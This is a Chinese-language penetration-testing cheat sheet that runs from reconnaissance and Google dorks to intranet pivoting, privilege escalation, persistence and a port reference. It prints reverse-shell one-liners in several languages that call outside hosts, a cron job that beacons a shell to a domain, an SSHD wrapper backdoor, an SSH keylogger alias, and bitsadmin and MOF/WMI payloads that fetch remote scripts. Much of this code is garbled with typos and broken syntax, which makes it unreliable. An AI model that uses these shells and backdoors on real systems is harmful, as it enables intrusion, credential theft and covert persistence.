渗透安全测试
PTES(渗透测试执行标准),渗透测试的过程包括交互,信息收集建模,Vul-可行性分析,开发,后期开发等。渗透测试旨在提高系统的安全性,而不是为了破坏,不会影响目标系统的可用性。
信息搜集
开源情报信息搜集(OSINT)
GITHUB
爬取Github文件敏感信息泄露
使用两个脚本文件,对Github进行扫描
GSIL(实现近实时(15分钟内)发现的Github泄露的信息)
https://github.com/FeeiCN/GSIL
https://github.com/MiSecuritu/x-patrol
WHOIS查询/注册人反查/邮箱反查/相关资产
http://whois.chinaz.com/?DomainName=target.com&ws=
#站长之家
https://whois.aizhan.com/target.com/
#爱站
https://x.threatbook.cn/
#微步在线
https://dns.aizhan.com/
#IP反查询
https://www.tianyancha.com/
#天眼查
http://www.whomx.com/
#虎妈查
http://cb.drops.wiki/
#在线历史漏洞查询
Google Hacking
利用搜索引擎针对性的搜索信息对网络入侵的技术和行为。搜索引擎对搜索的关键字提供多种语法,构造特殊关键字,快速全面挖掘有价值的信息。
轻量级可搜索出一些遗留后门,不想被发现的后台入口,中量级可搜索出一些用户信息泄露,源代码泄露,未授权访问等,重量级则可能是mdb文件下载,CMS 未被锁定install页面,网站配置密码,SQL注入、远程文件包含漏洞等重要信息。
逻辑与:and
A and B A * B
功能:可用来表示其所连接的两个检索项的交叉部分,也即交集部分。如果用AND连接检索词A和检索词B,
则检索式为:A AND B(或A*B):表示让系统检索同时包含检索词A和检索词B的信息集合C。
逻辑或: or
A or B A + B
功能:系统查找含有检索词A、B之一,或同时包括检索词A和检索词B的信息。两者皆有,都会成为搜索结果
逻辑非: -
-INFOR NOT INFOR
功能:强制结果不要出现此关键字
完整匹配:"关键词"
功能:强制搜索结果出现此关键字且不会对关键词切割
通配符:* ?
高级用法
SITE
语法:site:网址
功能:搜索指定的域名的网页内容 、可以用来搜索子域名、跟此域名相关的内容,输入登录 管理员登录等关键词来搜索一些不想被发现的后台入口
FILETYPE
语法: filetype:文件类型
功能:搜索指定文件类型,输入网络,搜索特定网站采用的技术
site:xx.com filetype:asp
site:xx.com filetype:php
site:xx.com filetype:jsp
site:xx.com filetype:aspx
INURL
语法: inurl:keyword
功能:搜索url网址存在特定关键字的网页、可以用来搜寻有注入点的网站
搜索网页搜到可能包含sql注入的网址
inurl:.php?id= 搜索网址中有"php?id"的网页
inurl:.jsp?id= 搜索网址中有"jsp?id"的网页
inurl:.asp?id= 搜索网址中有"asp?id"的网页
搜到登陆页面或者管理员页面
inurl: /admin/login.php 搜索网址中有"/admin/login.php"的网页
inurl:login 搜索网址中有"login"等登录网页
inurl:admin 搜索网址中有"admin"等登录网页
inurl:config.txt
INTITLE
语法 intitle:keyword
功能:搜索标题存在特定关键字的网页
搜索关键字搜到后台入口页面
intitle:后台登录 、管理员登录
搜索index of 搜寻目录索引信息
intitle:index of 搜索此关键字相关的索引目录信息
intitle:index of "parent directory" 搜索根目录相关的索引目录信息
intitle:index of "password" 搜索密码相关的索引目录信息
INTEXT
语法 :intext:keyword
功能 :搜索正文存在特定关键字的网页
intext:Powered by Discuz 搜索Discuz论坛相关的页面
intext:powered by wordpress 搜索wordpress制作的博客网址
intext:Powered by *CMS 搜索CMS相关的页面
intext:powered by xxx inurl:login 搜索此类网址的后台登录页面
Google Hacking DataBase
Google Hacking使用技巧
https://www.exploit-db.com/google-hacking-database
创建企业密码字典
字典列表
https://github.com/lavalamp-/password-lists
#passwordlist
https://github.com/rootphantomer/Blasting_dictionary
#Blasting_dictionary
#分享和收集各种字典,弱口令,常用密码,目录爆破
#数据库爆破,编辑器爆破,后台爆破
针对特定厂商,重点构造厂商相关域名字典
['username%%','passwd%%']
密码生成
https://github.com/RicterZ/genpAss
#genpAss 中国特色弱口令生成器
https://github.com/bit4woo/passmaker
#passmaker 自定义规则密码字典生成器
https://github.com/LandGrey/pydictor
#pydictor 强大的密码生成器
使用已攻陷密码列表查找邮件地址与凭证信息
https://github/laramites/theHarvester
#theHarvester
获取邮箱导出通讯录
https://github.com/vysec/LinkdInt-1
#LinkdInt
对企业外部相关信息进行扫描
子域名获取
Layer子域名挖掘机
https://github.com/lijiejie/subDomainBrute
#subDomainBrute
https://github.com/ring04h/wydomain
#wydomain
https://gtihub.com/aboul3la/Sublist3r
#Sublist3r
https://www.google.com/
#site.target.com
github代码仓库
抓包分析请求返回值(跳转/文件上传/app/api接口)
站长帮手links在线查询网站
域传送漏洞
dig@ns.example.com
example=com AXFR
#Linux
nslookup ->set type=ns -> target.com -> server ns.target.com -> ls target.com
#windows
GetDomainsBySSL.py
https://censys.io/certificates?q=target.com
#censys io 证书
https://crt.sh/?q=%25.target.com
#crt.sh证书查询
https://www.shodan.io/
#shodan
https://wwww.zoomeye.org/
#zoomeye
https://fofa.so/
#fofo.so
https://dnsdb.io/zh-cn/search?q=target.com
#dnsdb.io
http;//api.hackertarget.com/reversedns/?q=target.com
#api.hankertarget.com
https://community.riskiq.com/Search/target.com
#community.riskiq.com
#subdomain3
#FuzzDomain
#alive-host
https://dnsdumpster.com/
#dnsdumpster.com
进入内网
突破网关,利用端口重定向进入内网,建立包转发,
基于企业弱口令账号漏洞
VPN
#通过邮箱,密码爆破。社会工程学获取VPN
企业相关运维系统
#zabbix
SSH,RDP弱口令
基于系统漏洞
Metasploit漏洞利用框架
漏洞利用脚本
网站应用程序渗透
弱口令+任意文件上传获取webshell
Oracle注入获取shell
SQL注入
跨站脚本攻击 XSS
跨站请求伪造 CSRF
SSRF (ssrf_proxy)
功能/业务逻辑漏洞
其他漏洞
CMS-内容管理系统漏洞,phpcms
企业自建代理
远程代码执行漏洞
中间件:Weblogic/Jboss/Soir
框架:Struts2/TinkPHP/Shiro/CAS
#shiro反序列化漏洞
端口:RMI,Redis
邮箱:Exchange,coreMail
通达OA,致远OA,泛微OA
基于钓鱼
邮件钓鱼
微信精准钓鱼
社会工程学
鱼叉攻击
水坑攻击
无线WI-FI接入
如果知道账号密码直接进入局域网,如果不知道,随意对任何找好进行暴力破解,后台管理界面会显示局域网下的所有在线设备IP和MAC地址,有的还会显示是移动设备还是终端设备,使用nmap对端口的扫描,个人PC是不会进行WEB服务的部署,尝试使用CVE漏洞,中间人攻击也是可行的方案
隐匿攻击
Command and Control
ICMP
DNS
DropBox
Gmail
Telegram
Twitter
Website-Keyboard
Powershell
Windows COM
WebDAV
Office 365
Active Directory
HTTPS
Kernel
Website
WMI
WebSocket
Images
Web Interface
JavaScript
Fronting
Domain Fronting
Tor Fronting
代理
VPN
Shadowsocks
HTTP
Tor
内网跨边界应用
内网跨边界转发
NC端口转发
LCX端口转发
PS Powercat
Tunna
Reduh
#代理脚本
内网跨边界代理穿透
http://rootkiter.com/EarthWorm/
#EW
正向SOCKS v5服务器
./ew -s ssocksd -l 1080
反弹SOCKS v5服务器
在具有公网IP的主机上运行命令
./ew -s rcsocks -l 1080 -e 8888
在目标主机上启动SOCKS v5服务,并反弹到公网主机8888端口
./ew -s rssocks -d 1.1.1.1 -e 8888
多级级联
./ew -s lcs_listen -l 1080 -e 8888
./ew -s lcs_listen -l 1080 -f 2.2.2.3 -g 9999
./ew -s lcs_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999
lcx_listen用法
./ew -s ssocksd -l 9999
./ew -s lcx_tran -l 1080 -f 127.0.0.1 -g 9999
lcx_listen lcx_slave用法
./ew -s lcx_listen -l 1080 -e 8888
./ew -s ssocksd -l 9999
./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
三级级联的本地SOCKS测试
./ew -s rcsocks -l 1080 -e 8888
./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
./ew -s lcx_listen -l 9999 -e 7777
./ew -s rsscoks -d 127.0.01 -e 7777
http://rootkiter.com/Termite
#Termite
reGeorg
#代理脚本
Shell反弹
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
#bash
perl -e 'use Socket;$i='10.0.0.l';
$p=1234,socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))))
{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh-1");};'
#perl
python -c 'import'
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
#python
php -i '$sock=fsckopen("10.0.0.1",1234);exce("/bin/sh-i<&3>$3 2>&3");'
#php
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exce sprint("/bin/sh-i<&%d>&d 2>&d",f,f,f)'
#ruby
r = Runtime.getRuntime()
p = r.exce(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;ct <&5 | while read line;do\$line 2>&5 >&5;done"]as String[])
p.waitFor()
#java
使用 -e
nc -e /bin/sh 223.8.200.234 1234
不使用 -e
mknod /tmp/backpipe p
/bin/sh 0/tmp/backpipe | nc attackerip listenport 1>/tmp/backpipe
#nc
lua -e
"require('socket');require('os');t=socket.tcp();t:connect('202.103.243.122','1234');os.execute('/bin/sh -i <&3 >&3 2>&3);"
#lua
内网文件传输与下载
wput dir_name
wget
https://download.ownclou.org/community/owncloud.tar.bz2
#ariac2 -o owncloud.zip
$p = New-Object System.Net.WebClient
$p.DownloadFile("http://domain/file","C:%homepath%file")
#powershell
Set args = Wscript.Arguments
Url = "http://domain/file"
dim xHttp:Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm:Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET",Url,False
xHttp.Send
with bStrm
.type = 1 '
.open
.write xHttp.responseBody
.savetofile "C:\%homepath&\file",2'
end with
#vbs脚本
#!/bin/bash/perl
use LWP::Simple;
getstore("http://domain/file","file");
#执行perl脚本文件
#!/usr/bin/bpython
import urllib2
u = urllib2.urlopen("http://domain/file")
loaclFile = open("local_file",'w')
localFIle.write(u.read())
loaclFIle.close()
#执行python脚本文件
#!/usr/bin/ruby
require /net/http'
Net::HTTP.start('www.domain.com'){|http|
r = http.get("/file")
open("save_loaction","wb"){|file|
file.write(r.body)
}
}
#执行ruby脚本
#!/usr/bin/php
$lf = "loacl_file";
$fh = fopem(#lf,'w');
fwrite($fh,$data[0]);
fclose($fl);
?>
#执行php脚本
cat file | nc -l 1234
# NC attacke
nc host_ip 1234 > file
# NC target
FTP
TFTP
Bitsadmin
Windows文件共享
SCP
scp file user@host.com /tmp
#本地到远程
scp user@host.com /tmp file
#远程到本地
rsync
rsync -av root@IP地址::www /file
#远程rsync服务器拷贝文件到本地
rsync -av /file root@IP地址::www
#本地拷贝文件到rsync到服务器
certutil.exe
内网信息收集
本机信息收集
windows用户列表
分析邮件用户,内网邮件用户(内网用户)
#用户列表
分析杀毒软件/安全监控工具
邮件客户端
VPN
FTP
#进程列表
与安全防范工具有关服务(使用手动开启)
存在问题的服务(权限/漏洞)
#服务列表
开放端口对应的常见服务/应用程序(匿名/权限/漏洞)
利用端口进行信息收集
#端口列表
分析windows补丁
第三方软件java/oracle/flash漏洞
#补丁列表
本机共享列表/访问权限
本机访问的域间共享/访问权限
#本机共享
历史记录
收藏夹
文档
#用户习惯分析
获取当前用户密码工具
Windows
minikatz
wce
Invoke-WCMDump
miniDbg
LaZagne
nirsoft_package
QuarksPwDump
fgdump
星号查看器
linux
LaZagne
minipenguin
扩散信息收集
端口扫描
nmap
masscan
s扫描器
自写脚本
NC nc -v -w 2 -z IP地址
#常用端口扫描工具
内湾拓扑架构分析
DMZ,管理网,生产网,测试网
net user
#本机用户列表
net localgroup administrators
#本机管理员
net user /domain
#查询域用户
net group /domain
#查询域内工作组
net group "domain admins" /domain
#查询域管理员用户组
net loaclgroup adminstrators /domain
#登录本机域管理员
net localgroup administrators workgroup\user /add
#域用户添加到本机
net group "Domain controllers"
#查询域控制器
ipconfig /all
#拆线呢本机IP,所在域
net view
#查询同一域内列表
net view /domain
#查询域列表
net view /domain domainname
dsquery
dsquery computer domainroot -limit 65535 && net group "domain computers" /domain
#列出域内所有主机名
dsquery user domainroot -limit 65535 && net user /domain
#列出域内所有用户名
dsquery subnet
#列出域内网段划分
dsquery group && net group /domain
#列出域内分组
dsquery ou
#列出域内组织单位
dsquery server && net time /domain
#列出域内域控制器
net group "domain admins" /domain
#列出域管理员账号
第三方信息收集
NETBIOS 信息搜集
SMB 信息搜集
空会话信息搜集
漏洞信息搜集
权限提升
Windows
BypassUAC
常用方法
使用IFileOperation COM接口
使用Wusa.exe的extrac选项
远程注入SHELLCODE到傀儡程序
DLL劫持,劫持系统的DLL文件
eventvwr.exe and registry hijacking
sdclt.exe
SilentCleanup
swscrpt.exe
cmstp.exe
修改环境变量,劫持高权限.Ne程序
修改注册表HKCU\Software\Classes\CLSID,劫持高权限程序
直接提权过UAC
常用工具
UACME
Bypass-UAC
Yamabiko
提权
Windows内核漏洞提权
Windows-Exoloit-Suggester
WinSystemHelper
#检测漏洞
windows-kenerl-exploits
#使用漏洞
服务提权
#数据库服务,FTP服务
Windows错误系统配置
系统福德错误权限配置漏洞
不安全的注册表权限配置
不安全的文件/文件夹权限配置
计划任务
任意用户以NT AUTHORITY\SYSTEM权限安装msi
提权脚本
PowerUP
ELevateKit
Linux
内核溢出提权
linux-kernel-exploits
计划任务
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at allow
cat /etc/at deny
cat /etc/cron allow
cat /etc/cron deny
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
#查看计划任务
SUID
find /-user root -pem -4000 -print 2 > /dev/null
find /-perm -u=s -type f 2 > /dev/null
fiind /-user root -perm -4000 -exec ls -ldb {} \;
系统服务错误权限配置漏洞
cat /etc/apahce2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg
不安全的文件/文件夹权限配置
cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history
存储的明文用户名和密码
grep -i user[filename]
grep -i pass[filename]
grep -C5 'password' [filename]
find .-name "*.php" -print0 | xargs -0 grep -i -n 'var$password' # Joomla
权限维持
系统后门
Windows
密码记录工具
WinlogonHack
#用于截取远程3389登录密码的工具
#主要用于截取Windows XP WIndows2003 Server
Gina 木马
#主要用于截取Windows 2000的密码
键盘记录器
#目的不是记录本地密码,而是巨鹿管理员的一切密码
#邮箱,WEB网页密码
NTPacs
#获取管理员口令,一般用Gina方式获取
#如果安装了pcanywhere等类型软件,会导致远程登陆出现错误
#可以实现无障碍截取口令
常用存储payload的位置
WMI
存储
$StaticCLass = New-Object Management.ManagementClass('root\cimv2',$null,$null)
$StaticClass.Name = 'Win32_Command'
$StaticClass.Put()
$StaticClass.Properties.Add('Command',$Payload)
$StaticClass.Put()
读取
$Payload = ([WmiClass]'Win32_Command').Properties['Command'].Value
包含数据签名的PE文件,利用文件HASH算法缺陷,在PE文件中隐藏Payload,不影响PE文件的数字签名
特殊ADS
type putty.exe > putty.exe
wmic.process call create c:\test\ads\....putty.exe
特殊COM文件
type putty.exe > \\.\C:\test\ads\COM1.putty.exe
wmic process call create \\.\C:\test\ads\Com1.putty.exe
磁盘根目录
type putty.exe > c:\putty.exe
wmic process call create C:\putty.exe
Run/Runonce Keys
用户级
HKEY_CURRENT_USER\Software\Microsft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsft\Windows\CurrentVersion\RinOnce
管理员
HKEY_CURRENT_USER\Software\Microsft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsft\Windows\CurrentVersion\RinOnce
HKEY_CURRENT_USER\Software\Microsft\Windows\CurrentVersion\Polocoes\Explorer\Run
BootExecute Key
smss.exe在Windows子系统加载之前启动,所以会调用配置子系统加载当前的配置单元,注册表键值
HKLM\SYSTEM\CurrentControSet\Conteol\hivelist
HKEY_LOACL_MACHINE\SYSTEM\ControlSet002\Control\Session Manager
Userinit Key
Winlogon进程加载的login scripts键值
HKEY_LOACL_MACHINE\SOFTWARE\Microsft\WindowsNT\CurrentVersion\Winlogon
Startup Keys
HKEY_CURRENT_USER\software\Microsft\Windows\CurrentVersion\Explorer\User Shell Folders
HKEY_CURRENT_USER\software\Microsft\Windows\CurrentVersion\Explorer\Shell Folders
HKEY_CURRENT_USER\SOFTWARE\Microsft\Windows\CurrentVersion\Explorer\User Shell Folders
HKEY_CURRENT_USER\SOFTWARE\Microsft\Windows\CurrentVersion\Explorer\Shell Folders
Services
创建服务
sc create[ServerName]binPath=BinaryPathName
Browser Helper Objects
Internet Explorer启动加载的DLL模块
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Windows\AppInit_DLLs
AppInit_DLLs
加载User32 dll 加载的DLLHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs
文件关联
HKEY_LOACL_MACHINE\software\Classes
HKEY_CLASSES_ROOT
扫描工具
ll.bitsadmin
bitsadmin /create backdoor
bitsadmin /addfile backdoor %comspec% %temo%\cmd.exe
bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe "/u /s /i:https://host.com/calc.sct scrobj.dll"
bitsadmin /Resume backdoor
mof
pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtPl";
Query = "Select * from __InstanceModificationEvent"
Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Secaond = 1";
QueryLanguage = "WAL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPl";
ScriptingEngine = "JScript";
ScriptText = "GetObject(\"script:https://host.name/test\")";
};
instance of __FilterConsumerBinding
{
Consumer = $Consumer
FIlter = $EventFilter;
};
#使用管理员执行mof文件
wmi
wmic /NAMESOACE:"\\root\subscription" PATH __EventFilter CREATE NAME="BotFilter82",EventNameSoace="root\cimv2",QueryLanguage="WQL",Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE Targetinstance ISA 'Win32_PerfFormattedData_PerOS_System'"
wmic /NAMESOACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="BotConsumer23",ExecutablePath=C:\Windows\System32\notepad.exe",CommandLineTemplate="c:\Windows\System32\notepad.exe"
wmic /NAMESOACE:"\\root]subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter。Nameplates \"BotFilter82\"",Consumer="CommandLineEventConsumer.Name=\"BotConsumer23\""
Userland Persistence With Scheduled Tasks
劫持计划任务UserTask 在启动时加载DLL
function Invoke-ScheduledTaskComHandlerUserTask
{
[CmdletBinding(SupportShouldProcess = $true,ConfirmImpact = 'Medium")}
Param(
[Parameter(Mandatory = $True)]
[VaildateNotNullOrEmpty()]
[String]
$Command,
[Switch]
$Forece
)
$ScheduledTaskCommandPath = "HKCU:\Software\Classes\CLSID\{58fb76b9-ac85-4e55-ac04-427593b1d060}\InprocServer32"
if($Force -or((Get-ItemProperty -Path $ScheduledTaskCommandPath -Name '(default)' -ErrorAction SilentlyContinue) -eq $null))){
New -Item $ScheduledTaskCommandPath -Forece |
New -ItemProperty -Name '(Default)' -Value $Command -PropertyType string -Force | Out-Null)
}else{
Write-Vervose "Key already exists,consider using-Force"
exit
}
if(Test-Path $ScheduledTaskCommandPath){
Write-Verbose "Created registry entries to hijack the UserTask"
}else{
Write-Warning "Failed to create registry key,exiting"
exit
}
}
Invoke-ScheduledTaskComHandlerUserTask -Command"C:\test\testmsg.dll"-Verbose
Netsh
netsh add heloer c:\test\netshtest.dll
#DLL的编写
Shim
常用方式
InjecDLL
RedirectShotcut
RedirecEXE
DLL劫持
通过Rattler自动枚举进程,检测是否存在可用DLL劫持进程
使用Procmon半自动检测更为精准,常规生成的DLL可能导致执行报错,中断
AheadLib配合生成DLL劫持利用源码不影响程序执行
DounleAgent
编写自定义Verifier procider DLL
通过Application Verifier安装
注入目标进程执行payload,只要进程启动,就执行payload,自启动方式
waitfor.exe
不支持自启动,可远程主动激活,后台进程显示waitfor
AppDomainManager
针对Net程序,修改AppDomainManager劫持Net程序的启动程序
劫持了常见的Net程序和powershell.exe的启动过程,进行添加payload实现被动后门触发
Office
劫持office软件特定功能
通过DLL劫持,在Office软件执行特定功能触发后门
office加载项
Word WLL
Excel XLL
Excel VBA add-ins
PowerPoint VBA add-ins
CLR
无需管理员权限的后门,能够劫持所有Net程序
msdtc
利用MSDTC服务加载DLL,实现自启动,绕过Autoruns对启动项的检测
向%windir%\system32目录添加DLL并重命名oci.dll
Hijack CAccPropServicesClass and MMDeviceEnumerato
利用COM组件,不需重启系统,不许管理员权限,修改注册表
HKCU\Software\Classes\CLSID{**************}
HKCU\Software\Classes\CLSID{**************}
HKCU\Software\Classes\CLSID{**************}
HKCU\Software\Classes\Wow6432Node\CLSID{***************}
Windows FAX DLL Injection
通过DLL劫持Explorer.exe对fxsst.dll的加载
Explorer启动时加载C:\Windows\System\fxsst.dll
服务默认开启,用于传真服务
将payload.dll保存在C:\Windows\fxsst.dll,即可实现DLL劫持,劫持Explorer.exe对fxsst.dll的加载
特殊注册表键值
注册表启动项创建特殊名称的注册表键值
用户正常情况下无法读取,使用Win32 API
但是系统能够执行,使用Native API
快捷方式后门
替换我的电脑快捷方式启动参数
Logon Scripts
New-ItemProperty
"HKCU:\Environment\"UserInitMprLLogonScript -value "c:\test\ll.bat" -propertType string | Out-Null
Password Filter DLL
利用BHO实现IE浏览器劫持
Linuix
crontab
每六十分钟反弹一次shell给指定域名端口
#!/bash
(crontab -l,printf"*/60****exec 9<> /dev/tcp/doaminname/portl;exec 0<&9;exec l>&9 2>&l;/bin/bash --noprofile -i;\mo crontab for 'whoami'%100c\n")|crontab -
硬链接SSHD
#!/bash
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -0port=1234
ssh root@IP地址 -p 1234
SSH Server wrapper
#!bash
cd /usr/sbin
mv sshd ../sbin
echo '#!/usr/binperI' > sshd
echo 'exec "/bin/sh" if (getpeername(STDIN)=~/^..4A/);' >> sshd
echo 'exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV,' >> sshd
chmod u+x sshd
#配置过后尽量重启服务
socat STDIN TCP4:IP地址:port,soureport=1234
SSH Keylogger
vim当前用户下的bashrc文件,尾部添加
#!bash
alias ssh='strace -o /tmp/sshdpw-'data '+%d%h%m%s''.log -e read,write,connect -s2048 ssh'
Cymothoa进程注入backdoor
./cymothoa -p 2270 -s 1 -y 7777
nc -vv ip 7777
rootkit
openssh_rootkit
Kbeast_rootkit
Maxfix + Suterusu rookit
Tooles
Vegile
backdoor
Web后门
PHP Meterpreter后门
Aspx Meterpreter后门
weevely
webacoo
横向渗透
工作组渗透
端口渗透
端口扫描
端口的指纹信息(版本信息)
端口对应的服务
常见的默认端口号
尝试弱口令
端口爆破
hydra
端口弱口令
NTScan
Hscan
自写脚本
端口溢出
smb
ms08067
ms17010
ms11058
apache
ftp
常见默认端口
1.Web漏洞/敏感目录
第三方通用组件漏洞:struts thinkphp jboss ganglia zabbix
80 Web
80 - 90 Web
8000 - 9090 Web
2.数据库扫描弱口令
1433 MSSQL
1521 Oracle
3306 MYSQL
5432 PostgreSQL
50000 DB2
3.特殊服务,未授权/命令执行/漏洞
433 SSL心脏滴血
445 ms08067/ms111058/ms17010
873 Rsync未授权
5984 CouchDB
6379 redis未授权
7001,7002 WebLogic默认弱口令,反序列化
9200,9300 elasticsearch
11211 memcache未授权访问
27017,27018 Mongodb未授权访问
50000 SAP命令执行
50070,50030 hadoop默认端口未授权访问
4.常用端口,扫描弱口令/口令爆破
21 FTP
22 SSH
23 Telnet
445 SMB弱口令扫描
2601,2604 zebra路由,默认口令zebra
3389 远程桌面
端口对照表
端口:0
服务:Reserved
用于分析操作系统,能够工作是因为在系统中“0”是无效端口,当使用闭合端口连接时将产生不同结果
端口:1
服务:tcpmux
寻找SGI Irix机器。Irix是实现tcpmux的主要提供者,默认tcpmux在系统中被打开。Irix含有默认的无密码的帐户,如:IP、GUEST UUCP、NUUCP、DEMOS 、TUTOR、DIAG、OUTOFBOX等。许多管理员在安装后忘记删除修改这些帐户。在INTERNET上搜索tcpmux并利用这些帐户
端口:7
服务:Echo
搜索Fraggle放大器时,发送到X.X.X.0和X.X.X.255的信息
端口:19
服务:Character Generator
仅仅发送字符的服务。UDP在收到UDP包后回应含有垃圾字符的包。TCP连接时发送含有垃圾字符的数据流直到连接关闭。利用IP欺骗发动DoS攻击。伪造两个chargen服务器之间的UDP包。Fraggle DoS攻击向目标地址端口广播一个带有伪造受害者IP的数据包,受害者回应这些数据而过载
端口:21
服务:FTP
FTP服务器端口,用于上传、下载。寻找打开anonymous的FTP服务器。服务器带有可读写的目录。木马Doly Trojan、Fore、Invisible FTP、WebEx、WinCrash和Blade Runner所开放的端口
端口:22
服务:Ssh
PcAnywhere建立的TCP和这一端口的连接是为了寻找ssh。如果配置成特定模式,使用RSAREF库的版本就会有漏洞
端口:23
服务:Telnet
远程登录,入侵者在搜索远程登录UNIX的服务。扫描这一端口是为了找到机器运行的操作系统。使用其他技术也会找到密码。木马Tiny Telnet Server就开放这个端口
端口:25
服务:SMTP
SMTP服务器端口,用于发送邮件。寻找SMTP服务器传递SPAM。入侵者的帐户被关闭,需要连接到高带宽的E-MAIL服务器,将信息传递到不同地址。木马Antigen、Email Password Sender、Haebu Coceda、Shtrilitz Stealth、WinPC、WinSpy都开放这个端口
端口:31
服务:MSG Authentication
木马Master Paradise、Hackers Paradise开放此端口
端口:42
服务:WINS Replication
WINS复制
端口:53
服务:Domain Name Server(DNS)
DNS服务器端口,试图进行区域传递(TCP),欺骗DNS(UDP)或隐藏其他通信。防火墙常常过滤或记录此端口
端口:67
服务:Bootstrap Protocol Server
通过DSL和Cable modem的防火墙常遇到大量发送到广播地址255.255.255.255的数据。这些机器向DHCP服务器请求地址。进入它们,分配一个地址把自己作为局部路由器发起大量中间人(man-in-middle)攻击。客户端向68端口广播请求配置,服务器向67端口广播回应请求。回应使用广播是因为客户端不知道可以发送的IP地址
端口:69
服务:Trival File Transfer
服务器与bootp一起提供服务,便于从系统下载启动代码。但是常常由于错误配置使入侵者从系统中窃取文件。也可用于系统写入文件
端口:69
TFTP
端口:79
服务:Finger Server
用于获得用户信息,查询操作系统,探测已知的缓冲区溢出错误,回应从自己机器到其他机器Finger扫描
端口:80/80-89
服务:HTTP
用于网页浏览。木马Executor开放此端口
端口:99
服务:Metagram Relay
后门程序ncx99开放此端口
端口:102
服务:Message transfer agent(MTA)-X.400 over TCP/IP
消息传输代理
端口:109
服务:Post Office Protocol -Version3
POP3服务器端口,用于接收邮件,客户端访问服务器端邮件服务。用户名和密码交换缓冲区溢出的弱点至少有20个,入侵者可以在真正登陆前进入系统。成功登陆后还有其他缓冲区溢出错误
端口:110
服务:SUN公司的RPC服务所有端口(POP3)
常见RPC服务有rpc.mountd、NFS、rpc.statd、rpc.csmd、rpc.ttybd、amd等
端口:113
服务:Authentication Service
用于鉴别TCP连接的用户。使用标准的服务可以获得许多计算机的信息。可作为许多服务的记录器,FTP、POP、IMAP、SMTP和IRC等服务。如果有客户通过防火墙访问服务,将会看到端口的连接请求。如果阻断端口,客户端会感觉到在防火墙另一边与E-MAIL服务器的缓慢连接。许多防火墙支持TCP连接的阻断过程中发回RST。将会停止缓慢连接
端口:119
服务:Network News Transfer Protocol
NEWS新闻组传输协议,承载USENET通信。端口的连接通常是人们在寻找USENET服务器。多数ISP限制,只有指定客户才能访问新闻组服务器。打开新闻组服务器将允许发/读任何帖子,访问被限制的新闻组服务器,匿名发帖或发送SPAM
端口:135
服务:Location Service
Microsoft在端口运行DCE RPC end-point mapper为DCOM服务。与UNIX 111端口的功能相似。使用DCOM和RPC的服务利用计算机上的end-point mapper注册位置。远端客户连接到计算机时,查找end-point mapper找到服务位置。扫描计算机这个端口是为了找到计算机上是否运行Exchange Server,版本信息,还有DOS攻击直接针对端口
端口:135
RPC
端口:137、138、139
服务:NETBIOS Name Service
137、138是UDP端口,通过网上邻居传输文件时用这个端口。139端口:通过这个端口进入的连接试图获得NetBIOS/SMB服务。协议被用于windows文件和打印机共享和SAMBA。还有WINS Regisrtation
端口:143
服务:Interim Mail Access Protocol v2 (IMAP)
IMAP服务器存在缓冲区溢出漏洞。一种LINUX蠕虫(admv0rm)会通过端口繁殖,端口的扫描来自不知情已经被感染的用户。当REDHAT在LINUX发布版本中默认允许IMAP后,这些漏洞变的很流行。端口还被用于IMAP2,但并不流行
端口:161
服务:SNMP
SNMP允许远程管理设备。所有配置和运行信息的储存在数据库中,通过SNMP可获得这些信息。管理员的错误配置将被暴露在Internet。使用默认密码public、private访问系统。可能会试验所有可能的组合。SNMP包可能会被错误的指向用户的网络
端口:177
服务:X Display Manager Control Protocol
通过它访问X-windows操作台,同时需要打开6000端口
端口:389
服务:LDAP、ILS
轻型目录访问协议和NetMeeting Internet Locator Server共用端口
端口:443
服务:Https
网页浏览端口,提供加密和通过安全端口传输的另一种HTTP
端口:443
SSL心脏滴血 Web漏洞测试
端口:456
服务:[NULL]
木马HACKERS PARADISE开放此端口
端口:512/513/514
Rexec
端口:513
服务:Login,remote login
从使用cable modem或DSL登陆到子网中的UNIX计算机发出的广播。为入侵者进入系统提供了信息
端口:544
服务:[NULL]
kerberos kshell
端口:548
服务:Macintosh,File Services(AFP/IP)
Macintosh,文件服务
端口:553
服务:CORBA IIOP (UDP)
使用cable modem、DSL或VLAN将会看到端口的广播,CORBA是一种面向对象的RPC系统。可以利用这些信息进入系统
端口:555
服务:DSF
木马PhAse1.0、Stealth Spy、IniKiller开放此端口
端口:568
